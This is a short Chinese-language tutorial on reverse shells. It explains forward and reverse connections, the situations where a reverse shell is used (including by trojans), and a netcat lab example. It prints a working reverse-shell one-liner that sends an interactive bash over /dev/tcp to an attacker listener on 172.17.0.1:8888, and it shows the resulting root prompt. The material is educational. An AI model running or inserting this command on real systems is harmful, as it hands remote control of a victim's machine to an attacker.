反弹shell(reverse)
是 攻击机
监听在某个 TCP/UDP
端口为 服务端
,受害机
主动发起请求到 攻击机
监听的端口,并将其命令行
的输入输出转到 攻击机
。
概念
正向连接
指 攻击机
去连接 受害机
开放的端口。更多参考:什么是正向代理、反向代理、透明代理
反向连接
指 受害机
去连接 攻击机
开放的端口,反弹shell
基于 反向连接
实现
场景
受害机
只能发送请求,不能接收请求
受害机
端口被占用
受害机
IP会动态变化,攻击机
无法直接连接
- 对于病毒、木马,受害者的中招时间、网络环境、开/关机都未知时
安装
Ubuntu
apt install -y netcat
示例
攻击机
ip 地址为 172.17.0.1
,默认使用 netcat 监听在 tcp:8888
端口
$ nc -nvlp 8888
Listening on 0.0.0.0 8888
参数说明:
受害机
ip 地址为 172.17.0.2
,执行命令:
bash -i >& /dev/tcp/172.17.0.1/8888 0>&1
参数说明:
bash -i
i 是 interactive 的缩写
,会产生一个 交互式的bash
/dev/tcp/<IP>/<PORT>
是一个特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash
用来实现网络请求的一个接口
- 打开这个文件相当于发出了一个
socket
调用并建立一个 socket
连接
- 读写这个文件相当于在这个
socket
连接中传输数据
此时,攻击机
内可以看到已经连接的 受害机
的 shell 中,如下:
$ nc -nvlp 8888
Listening on 0.0.0.0 8888
Connection received on 172.17.0.2 37646
root@582fd9275fbf:/#